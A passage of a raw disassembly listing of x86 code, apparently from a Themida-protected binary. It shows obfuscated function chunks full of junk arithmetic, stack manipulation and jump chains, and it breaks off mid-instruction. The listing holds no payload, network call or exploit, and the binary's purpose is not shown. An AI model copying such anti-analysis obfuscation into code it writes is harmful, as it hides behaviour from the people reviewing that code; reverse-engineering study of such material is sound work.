XREF: sub_594FD6-49Ej push edx sub esp, 4 mov [esp+0Ch+var_C], eax mov al, ch push ecx mov ch, al jmp loc_591B43 ; END OF FUNCTION CHUNK FOR sub_594FD6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_597076: ; CODE XREF: sub_5EC2E8-60C2Dj pop ebp add ebp, 4 sub esp, 4 mov [esp+20h+var_20], edx sub esp, 4 jmp loc_590072 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591059 loc_597091: ; CODE XREF: sub_591059+6108j mov ecx, 1C04258Eh jmp loc_58BF59 ; END OF FUNCTION CHUNK FOR sub_591059 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_59709B: ; CODE XREF: sub_595E21-7C2Bj xor ecx, eax sub esp, 4 mov [esp-4+arg_0], esi mov esi, ebx sub esp, 4 mov [esp+0], esi jmp loc_594440 ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_5970B0: ; CODE XREF: sub_59762D-1B5j push edx jmp loc_590512 ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- loc_5970B6: ; CODE XREF: Themida_:00597C0Fj add dword ptr [esp], 4 jmp loc_592C1D ; --------------------------------------------------------------------------- loc_5970BF: ; CODE XREF: Themida_:00591F2Fj push esp pop esi add esi, 4 add esi, 4 jmp loc_58BFA6 ; --------------------------------------------------------------------------- loc_5970CF: ; CODE XREF: Themida_:0058CFA2j add ebx, 4 push ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] pop esp jmp loc_597185 ; --------------------------------------------------------------------------- loc_5970E9: ; CODE XREF: Themida_:0058C028j not eax xor eax, 33461978h jnz loc_5954AD add eax, 7A53A2CDh mov esi, eax pop eax push edx add al, 44h loc_597101: ; CODE XREF: Themida_:0058A3A4j pop esp movsx ecx, al jmp loc_58AB39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594654 loc_59710A: ; CODE XREF: sub_594654-265Cj mov ebp, 0E7655502h xor ecx, ebp jmp loc_58F4AC ; END OF FUNCTION CHUNK FOR sub_594654 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595258 loc_597116: ; CODE XREF: sub_595258+1j mov ebp, 9061188h shr ebp, 1 push ebp jmp loc_58DFC2 ; END OF FUNCTION CHUNK FOR sub_595258 ; --------------------------------------------------------------------------- loc_597123: ; CODE XREF: Themida_:00596A5Fj mov eax, edx pop edx jmp loc_597B57 ; --------------------------------------------------------------------------- loc_59712B: ; CODE XREF: Themida_:00595B0Fj add eax, edx jmp loc_592777 ; --------------------------------------------------------------------------- loc_597132: ; CODE XREF: Themida_:0058FC6Dj push esi mov esi, 0B0104A7h push esi xor dword ptr [esp], 1ED154E1h pop ebp xor ebp, 1ED154E1h mov esi, [esp] add esp, 4 xor ebp, eax pop eax mov edx, ebp jmp loc_595CFD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591059 loc_59715A: ; CODE XREF: sub_591059+4D60j push esi mov esi, 1379189Ch push ecx jmp loc_597091 ; END OF FUNCTION CHUNK FOR sub_591059 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_597166: ; CODE XREF: sub_595E21-181Ej pop ebx jmp loc_58EBDE ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592857 loc_59716C: ; CODE XREF: sub_592857-6ECAj mov eax, edx mov edx, [esp+4+var_4] jmp loc_592427 ; END OF FUNCTION CHUNK FOR sub_592857 ; --------------------------------------------------------------------------- loc_597176: ; CODE XREF: Themida_:00596DDBj push esp pop dword ptr [esp] add dword ptr [esp], 4 pop eax push ebx jmp loc_58B744 ; --------------------------------------------------------------------------- loc_597185: ; CODE XREF: Themida_:005970E4j push 2588h mov [esp], ecx push esp pop ecx push ebx mov ebx, 4BF47C81h add ebx, 5F8601D1h jmp loc_595AFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595258 loc_5971A0: ; CODE XREF: sub_595258-8562j xor [esp+14h+var_14], ebx xor ebx, [esp+14h+var_14] mov esp, [esp+14h+var_14] push 4CDDh mov [esp+4+var_4], edx sub esp, 4 jmp loc_58E3DD ; END OF FUNCTION CHUNK FOR sub_595258 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_5971BC: ; CODE XREF: sub_58C17E+A616j jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_5971C1: ; CODE XREF: Themida_:0058B873j pop edi shr esi, 5 jmp loc_58DD46 ; --------------------------------------------------------------------------- loc_5971CA: ; CODE XREF: Themida_:0058BCFAj ror byte ptr [esp], cl pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_5971D3: ; CODE XREF: Themida_:00590FB6j jmp loc_5976EB ; --------------------------------------------------------------------------- lodsb xor al, bl push edx sub esp, 4 mov [esp], eax mov ah, 0EBh shl ah, 3 dec ah shr ah, 2 sub ah, 1Eh jmp loc_58F636 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_5971F4: ; CODE XREF: sub_58F5B5+1EBj add esp, 2 sub bl, 35h sub bl, al add bl, 35h push ecx mov cl, 83h shr cl, 2 not cl jmp loc_596445 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_59720F: ; CODE XREF: Themida_:00593D12j mov ebx, 7061762Dh mov ebp, ebx mov ebx, [esp] add esp, 4 or ebp, 63C718D9h shl ebp, 1 jmp loc_58FD09 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_59722C: ; CODE XREF: sub_5EC2E8-59925j ; Themida_:005972FEj mov esp, [esp+28h+var_28] push esi mov esi, 442000D6h jmp loc_58DA5E ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_59723A: ; CODE XREF: Themida_:0059142Dj push 52984655h pop eax dec eax xor eax, 0C4C7497h jnp loc_59078F push esi mov esi, 42161691h and esi, 4C635499h shr esi, 1 jmp loc_5944A7 ; --------------------------------------------------------------------------- loc_59725F: ; CODE XREF: Themida_:0058C9E4j ; Themida_:00590840j pop ebx push edx mov edx, 4 add ebx, edx jmp loc_58DCFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_59726D: ; CODE XREF: sub_5EC2E8-58E1Cj add edx, 0FE089FAAh jmp loc_594DA9 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr word ptr [esp], cl pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_597288: ; CODE XREF: Themida_:0058A40Aj pop esi add eax, ebp pop ebp jmp loc_597AF8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_597291: ; CODE XREF: sub_58C17E+765Dj push cx pushf jmp loc_58EE52 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_597299: ; CODE XREF: sub_590467-404Fj add esp, 4 jmp loc_58BB9C ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5966C1 loc_5972A4: ; CODE XREF: sub_5966C1-819Cj add eax, edi sub eax, 157A4D65h mov edi, [esp+4+var_4] add esp, 4 xchg eax, [esp+0] mov esp, [esp+0] jmp loc_58AFEA ; END OF FUNCTION CHUNK FOR sub_5966C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E0C4 loc_5972BC: ; CODE XREF: sub_58E0C4+2j pop ebx add ebx, 4 add ebx, 4 jmp loc_59000C ; END OF FUNCTION CHUNK FOR sub_58E0C4 ; --------------------------------------------------------------------------- loc_5972CE: ; CODE XREF: Themida_:00594AD4j add bl, cl mov cx, [esp] push esi push esp jmp loc_596A87 ; --------------------------------------------------------------------------- loc_5972DB: ; CODE XREF: Themida_:0058E30Fj mov edx, 4D782BD5h xor esi, edx jmp loc_58BD46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_5972E7: ; CODE XREF: sub_5916C4+3588j add edx, 2DAA71E6h xor edx, 7F1F01DCh ja loc_58B3F0 jmp loc_591709 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- jmp loc_59722C ; --------------------------------------------------------------------------- xchg esi, ebp ; START OF FUNCTION CHUNK FOR sub_5966C1 loc_597305: ; CODE XREF: Themida_:0058E78Aj ; sub_5966C1+Fj push esp pop eax add eax, 4 push edi mov edi, 2 push edx mov edx, 12C013DCh xor edx, 3D2C239Bh dec edx jmp loc_5956A6 ; END OF FUNCTION CHUNK FOR sub_5966C1 ; --------------------------------------------------------------------------- loc_597324: ; CODE XREF: Themida_:0059499Bj pop dword ptr [esp] pop esp xor bl, al movzx eax, al mov dx, [esp] push ecx sub esp, 4 push esp jmp loc_58AE07 ; --------------------------------------------------------------------------- loc_59733B: ; CODE XREF: Themida_:005968E8j xor dh, 4Ch mov bh, dh pop edx neg bh shr bh, 1 jmp loc_594452 ; --------------------------------------------------------------------------- loc_59734A: ; CODE XREF: Themida_:0058E2EDj push esi mov esi, esp add esi, 4 push 2079h mov [esp], edx mov edx, 4 sub esi, 5397FE8h add esi, 9A24B9Eh add esi, edx sub esi, 9A24B9Eh add esi, 5397FE8h mov edx, [esp] add esp, 4 xchg esi, [esp] pop esp jmp loc_58ED43 ; --------------------------------------------------------------------------- loc_59738C: ; CODE XREF: Themida_:0058E183j shr ch, 8 neg ch jmp loc_58A60A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_597396: ; CODE XREF: sub_58F5B5+75D1j mov edi, esi mov ebx, edi pop edi mov edx, ebx pop ebx mov esi, [esp+8+var_8] add esp, 4 jmp loc_58A338 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_5973A9: ; CODE XREF: sub_5916CB-4F98j ; Themida_:00591A38j pop edx xor eax, 1D58DE0Ch mov edi, eax mov eax, [esp+8+var_8] jmp loc_58B0B8 ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- loc_5973B9: ; CODE XREF: Themida_:00595D5Dj add edi, ecx sub edi, 4E9335EAh jmp loc_58B6CC ; --------------------------------------------------------------------------- loc_5973C6: ; CODE XREF: Themida_:0058D7C3j pop edx and ebp, 7BCE6C05h jmp loc_59485D ; --------------------------------------------------------------------------- loc_5973D2: ; CODE XREF: Themida_:005977A2j pop ecx push 4435h mov [esp], ebp jmp loc_593A52 ; --------------------------------------------------------------------------- loc_5973E0: ; CODE XREF: Themida_:00595B2Aj push dword ptr [esp+4] jmp loc_59499A ; --------------------------------------------------------------------------- loc_5973E9: ; CODE XREF: Themida_:00595B37j mov ebx, [esp] jmp loc_58B904 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5919E2 loc_5973F1: ; CODE XREF: sub_5919E2-42DFj mov ebp, 127F78FEh sub ebp, 73971DA8h sub ebp, 787174E7h add ebp, 0E391458Ch add eax, ebp mov ebp, [esp-4+arg_0] add esp, 4 mov ecx, eax pop eax push edi mov edi, 4D811A70h jmp loc_58A4AE ; END OF FUNCTION CHUNK FOR sub_5919E2 ; --------------------------------------------------------------------------- loc_597421: ; CODE XREF: Themida_:00596E35j pop esi push 538h mov [esp], esi mov esi, esp jmp loc_591BE6 ; --------------------------------------------------------------------------- loc_597431: ; CODE XREF: Themida_:00594032j add esp, 4 add edi, 4 jmp loc_590D01 ; --------------------------------------------------------------------------- loc_597442: ; CODE XREF: Themida_:00596E83j add esp, 4 xor ebp, esi xor esi, ebp xor ebp, esi xor ebp, 670FBF8Ah xor eax, ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 jmp loc_593755 ; --------------------------------------------------------------------------- loc_597467: ; CODE XREF: Themida_:0058E776j ja loc_592DD7 jmp loc_596F03 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_597472: ; CODE XREF: sub_59762D-8B13j sub bl, 0CCh sub bl, 0EAh jmp loc_5970B0 ; END OF FUNCTION CHUNK FOR sub_59762D ; =============== S U B R O U T I N E ======================================= sub_59747D proc near ; CODE XREF: sub_5EC2E8-60594j var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], edx mov edx, 8ED08B5h add edi, edx pop edx pop esi retn sub_59747D endp ; sp-analysis failed ; --------------------------------------------------------------------------- jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_597492: ; CODE XREF: sub_5938B9-5595j xor eax, ebx pop ebx sub ebx, 1FD22391h add ebx, 243A6B10h add ebx, eax sub ebx, 243A6B10h push 0C4Ah mov [esp+0], edx mov edx, 798E09D8h push 5E15h jmp loc_58B398 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5955A6 loc_5974C0: ; CODE XREF: sub_590467+4FABj ; sub_5955A6+Bj shr ah, 3 xchg bh, ah neg bh xchg bh, ah not ah neg ah sub ah, 0EFh mov dl, ah pop eax mov cl, dl mov edx, [esp+4+var_4] add esp, 4 push dx mov dl, 0D8h xor cl, dl pop dx sub al, 8Eh add al, cl push cx mov ch, 8Eh add al, ch pop cx pop ecx sub esp, 4 mov [esp+0], ecx mov cl, 0A4h or cl, 5Dh jmp loc_58AD69 ; END OF FUNCTION CHUNK FOR sub_5955A6 ; --------------------------------------------------------------------------- loc_597506: ; CODE XREF: Themida_:00597F17j push edx mov edx, esp jmp loc_592CCB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_59750E: ; CODE XREF: sub_5916C4+1D49j pop edi sub esp, 4 mov [esp+0], eax mov eax, 7B427C6Fh shl eax, 7 push eax xchg eax, [esp+4+var_4] xchg eax, esi not esi xchg eax, esi xchg eax, [esp+4+var_4] pop eax or eax, 67A14A36h or eax, 45414541h shl eax, 5 push 7CFCh mov [esp+4+var_4], ebx mov ebx, 7EB65C9Bh add eax, ebx jmp loc_596EE8 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_59754A: ; CODE XREF: Themida_:00594F72j push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx mov edx, 474E2E68h jmp loc_590F3F ; --------------------------------------------------------------------------- loc_597567: ; CODE XREF: Themida_:005954F8j pop ebp add esi, edx pop edx add esi, 4 push esi jmp loc_5914F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58B03F loc_597577: ; CODE XREF: sub_58B03F+44EAj mov [esp+8+var_8], ebx jmp loc_5975C4 ; END OF FUNCTION CHUNK FOR sub_58B03F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595123 loc_59757F: ; CODE XREF: sub_595123-9232j pop esp push edx jmp loc_5953CC ; END OF FUNCTION CHUNK FOR sub_595123 ; --------------------------------------------------------------------------- loc_597586: ; CODE XREF: Themida_:005941C3j mov ecx, 7E7E089Ch and ebp, ecx pop ecx or ebp, 67555DFAh push ebx mov ebx, 0FFFFFFFFh sub ebp, ebx jmp loc_592B00 ; --------------------------------------------------------------------------- loc_5975A1: ; CODE XREF: Themida_:0058BB6Ej xor ebx, 71482EB8h jmp loc_590F8E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_5975AC: ; CODE XREF: sub_590467+65C3j mov [esp+0Ah+var_A], edx mov dh, 0D1h sub bh, dh jmp loc_59493C ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_5975B8: ; CODE XREF: Themida_:005902BAj and ebp, 2A7A6E43h inc ebp jmp loc_590168 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_5975C4: ; CODE XREF: sub_58F5B5-21F4j ; sub_58B03F+C53Bj xor [esp-8+arg_4], 0A7079D3h mov edx, [esp-8+arg_4] add esp, 4 jmp loc_592FE8 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_5975D9: ; CODE XREF: Themida_:0058AEDCj push edx mov edx, 1D286027h shr edx, 2 neg edx push ecx jmp loc_592F62 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59524C loc_5975EA: ; CODE XREF: sub_59524C-97ADj pop esi push eax push [esp+arg_0] pop eax pop dword ptr [esp+0] mov esp, [esp-4+arg_0] sub esp, 4 mov [esp+0], edx push eax mov eax, 80h mov edx, eax pop eax and ecx, edx mov edx, [esp+0] jmp sub_58F836 ; END OF FUNCTION CHUNK FOR sub_59524C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_597613: ; CODE XREF: sub_5EC2E8-586DFj shr ebp, 6 sub ebp, 5C2350DCh xor ebp, 0A4B4555Bh add edx, ebp pop ebp add edx, 4 jmp loc_595C88 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; =============== S U B R O U T I N E ======================================= sub_59762D proc near ; CODE XREF: Themida_:0058C0C1j ; sub_595655-1CD4j var_8 = dword ptr -8 arg_4 = dword ptr 8 arg_8 = word ptr 0Ch ; FUNCTION CHUNK AT 0058A777 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0058AC17 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0058B845 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0058BA33 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0058C06F SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058C39D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058C654 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0058C7ED SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058CB26 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058CEDC SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0058CF15 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0058D8B7 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058DB8E SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0058DEAF SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058E450 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058E6A9 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0058EB0E SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058EC9E SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058F6A0 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0058F720 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0058F85F SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058FB86 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058FCCF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0058FE14 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0058FE55 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005903AB SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00590512 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005908BD SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005909F8 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00590C4B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00590EAE SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005912E1 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00591823 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00591B3D SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005921E7 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0059229D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005923D6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0059258A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00592996 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00592A3A SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00594048 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00594307 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00594476 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00594BDF SIZE 00000037 BYTES ; FUNCTION CHUNK AT 00595079 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005950C1 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005951F4 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00595318 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005954FD SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00595590 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00595773 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005960A3 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005961CB SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005964B8 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00596BE6 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005970B0 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00597472 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005977A7 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0059781D SIZE 0000002C BYTES ; FUNCTION CHUNK AT 005979B7 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00597B29 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00597D35 SIZE 00000010 BYTES push ebx push ecx jmp loc_5960A3 sub_59762D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_597634: ; CODE XREF: sub_58C17E+3491j not ebp neg ebp xor ebp, 0C81805h and eax, ebp mov ebp, [esp+8+var_8] jmp loc_596411 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_597648: ; CODE XREF: sub_5EC2E8-55E08j add eax, edx add eax, 29835A61h pop edx push edx mov edx, 2 add eax, edx pop edx xor eax, [esp+20h+var_20] xor [esp+20h+var_20], eax xor eax, [esp+20h+var_20] pop esp jmp loc_592EFC ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_597668: ; CODE XREF: Themida_:0058EC4Cj ; Themida_:00593CD4j push 4BAAh mov [esp], ebx mov bl, 3Bh jmp loc_58A500 ; --------------------------------------------------------------------------- mov ax, [esp] push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebx push esp pop ebx add ebx, 4 jmp loc_58EAB2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_59769A: ; CODE XREF: sub_5938B9-94DEj pop ebp xor esi, ebx pop ebx add ebp, esi mov esi, [esp-8+arg_4] jmp loc_592700 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- loc_5976A8: ; CODE XREF: Themida_:0058DD06j xor [esp], ebx xor ebx, [esp] pop esp mov [esp], ebp push eax mov eax, 69EE26AEh mov ebp, eax pop eax push ebx mov ebx, 69EE2AAFh sub ebp, ebx mov ebx, [esp] push ebp jmp loc_593091 ; --------------------------------------------------------------------------- loc_5976CC: ; CODE XREF: Themida_:00597B1Dj push ebp mov ebp, 40A21628h shl ebp, 3 neg ebp dec ebp shr ebp, 1 add ebp, 97C0C687h push ecx mov ecx, 26036929h jmp loc_592A97 ; --------------------------------------------------------------------------- loc_5976EB: ; CODE XREF: Themida_:loc_5971D3j add ecx, 704E02h add ebp, ecx pop ecx push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] jmp loc_58E943 ; =============== S U B R O U T I N E ======================================= sub_597716 proc near ; CODE XREF: sub_58C17E-1425j ; sub_5EC2E8-5E87Cj ; FUNCTION CHUNK AT 0058A653 SIZE 0000000B BYTES push ebp mov ebp, 0BDD2D65h push edx mov edx, 7F5B4B7Ch sub ebp, edx pop edx shl ebp, 3 inc ebp jmp loc_58A653 sub_597716 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58D236 loc_59772E: ; CODE XREF: sub_58D236-2A93j push 5538h mov [esp+0], ecx push 351h mov [esp+4+var_4], esp add [esp+4+var_4], 4 pop ecx add ecx, 4 jmp loc_591BF4 ; END OF FUNCTION CHUNK FOR sub_58D236 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_59774E: ; CODE XREF: sub_58C17E+602Ej add edi, 0BA956216h add ecx, edi jmp loc_5955FB ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_59775B: ; CODE XREF: sub_58F5B5+D9j mov edx, esp jmp loc_58E40C ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_597762: ; CODE XREF: Themida_:00596E29j mov dh, ah jmp loc_590EC8 ; --------------------------------------------------------------------------- loc_597769: ; CODE XREF: Themida_:0058D47Fj ; Themida_:00591DD7j add eax, 58BF48F3h jmp loc_58C9F7 ; --------------------------------------------------------------------------- loc_597773: ; CODE XREF: Themida_:0058EF4Dj push eax jmp loc_593DF8 ; --------------------------------------------------------------------------- loc_597779: ; CODE XREF: Themida_:0058CF10j push 6F25334Eh push dword ptr [esp] pop edi add esp, 4 jmp loc_58BC23 ; --------------------------------------------------------------------------- lodsd jmp loc_590EEF ; --------------------------------------------------------------------------- loc_597793: ; CODE XREF: Themida_:005922ECj add ecx, edx pop edx add ecx, 4 xchg ecx, [esp] mov esp, [esp] push dword ptr [esp] jmp loc_5973D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_5977A7: ; CODE XREF: sub_59762D-B5B6j push eax jmp sub_5909B4 ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- loc_5977AD: ; CODE XREF: Themida_:005965C8j push edx mov dl, 71h mov bh, dl mov edx, [esp] jmp loc_594E0D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594654 loc_5977BA: ; CODE XREF: sub_594654-749Fj pop ecx add ebp, esi pop esi jmp loc_58A314 ; END OF FUNCTION CHUNK FOR sub_594654 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_5977C3: ; CODE XREF: sub_5916C4+16A6j mov al, ch mov dh, al pop eax pop cx push 3725h mov [esp-14h+arg_10], ecx jmp loc_595431 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push 4D97h mov [esp], esi push ebx jmp loc_595CB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_5977E9: ; CODE XREF: sub_58C17E+A21j xor al, bl pop ebx push edx jmp loc_58B499 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_5977F2: ; CODE XREF: Themida_:loc_591C43j sub esi, 5875546Eh add esi, 4C5D6ABAh xor esi, 0A0C09E4h mov edi, esi jmp loc_58E33F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_59780B: ; CODE XREF: sub_590467+5377j mov eax, 58E8317Dh push ecx mov ecx, 0FFFFFFFFh sub eax, ecx jmp loc_591B02 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_59781D: ; CODE XREF: Themida_:0058C0BBj ; sub_59762D-AE39j jns loc_58AC17 shr al, 7 shr al, 3 jp loc_58DB8E xor al, 0F6h push ebx loc_597832: ; CODE XREF: sub_59762D-2A1Cj mov ebp, edx pop edx add ebp, 691A0145h add ecx, ebp pop ebp add ecx, 2 jmp loc_58FE14 ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- loc_597849: ; CODE XREF: Themida_:0058C999j sub esi, ecx mov ecx, [esp] add esp, 4 add esi, ecx add esi, 1F5F5151h pop ecx push eax push edx jmp loc_58A368 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_597864: ; CODE XREF: sub_58C17E+2485j shl bl, 6 add bl, 0FFh neg bl inc bl push cx mov ch, 70h add ch, 11h jge loc_58E514 dec ch jo loc_593F18 or ch, 9Dh push ebx loc_597887: ; CODE XREF: Themida_:0058ABE4j ; Themida_:0058DC7Bj inc ebx jmp loc_597C65 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_59788D: ; CODE XREF: sub_590467+16AAj shr ebx, 8 dec ebx sub ebx, 20D22126h add eax, ebx pop ebx push eax pop edx pop eax sub edx, 6296FF7h add edx, 174149EFh jmp loc_58E20E ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_5978AE: ; CODE XREF: Themida_:0058AD7Aj sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax push ebp mov ebp, 481F0D3Ch shr 